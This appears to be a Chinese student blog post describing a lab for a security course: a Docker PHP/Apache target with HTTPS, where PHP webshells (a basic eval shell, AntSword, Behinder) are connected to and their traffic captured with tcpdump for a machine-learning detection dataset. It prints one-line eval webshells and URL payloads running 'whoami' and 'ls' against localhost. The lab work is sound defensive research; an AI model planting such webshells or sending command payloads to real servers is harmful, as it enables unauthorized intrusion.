webshell 抓包
小学期“网络安全课程设计”做了一个机器学习流量分析的选题,组内大佬结合我主业,发配我负责采集 PHPwebshell 流量;
两个问题:
- 我想用 docker 部署靶机环境,如何用 wireshark 抓 docker 流量,没干过;
- https 没配过;
思路是用 docker 起一个 php 环境,配好 https ,然后分别去连几种 webshell ,抓下流量;
环境配置
起镜像
镜像版本:docker pull php:8.4-rc-apache-bullseye
1 | docker run -d -p 9000:80 -p 9001:443 ` |
映射一下,方便传马(多此一举了其实);
测试连接
1 | touch /var/www/html/index.php |
访问 9000 端口,检测到空文件,成功;
抓包
抓包测试
首先安装tcpdump
,用于抓包;
1 | tcpdump -i eth0 -w /tmp/capture.pcap |
把包保存到/tmp
里;
访问几次index.php
,保存流量;
copy 到本机,然后打开查看;
然后配置https
加密流量,同样的方法抓;
https 配置
1 | # 启动 ssl |
修改/etc/apache2/sites-available/default-ssl.conf
:
1 | echo "\n<VirtualHost *:443>\n\ |
启用配置:
1 | a2ensite default-ssl.conf |
访问https://localhost:9001/
成功;
传统 webshell
basic-webshell.php
1 | eval($_GET["QST"]); @ |
payload
https://localhost:9001/basic-webshell.php?QST=echo(exec(%27whoami%27));
https://localhost:9001/basic-webshell.php?QST=echo(exec(%27ls%27));
可以看到一些 https 的特征:
Antsword(蚁剑)
antsword-webshell.php
1 | eval($_POST["QST"]); @ |
连接webshell:
在操作 webshell 过程中抓包;
这里有个问题,我的自签名 ssl 证书在用蚁剑连的时候会报:
1 | {"code":"DEPTH_ZERO_SELF_SIGNED_CERT"} |
忽略 https 证书即可;
随便点点,抓到一些包:
特征差不多;
Behinder(冰蝎)
behinder-webshell.php
1 |
|
同样,操作 webshell 同时抓包:
比之前的包大一两个数量级;
总结
抓了一些常用的 webshell ,希望有用。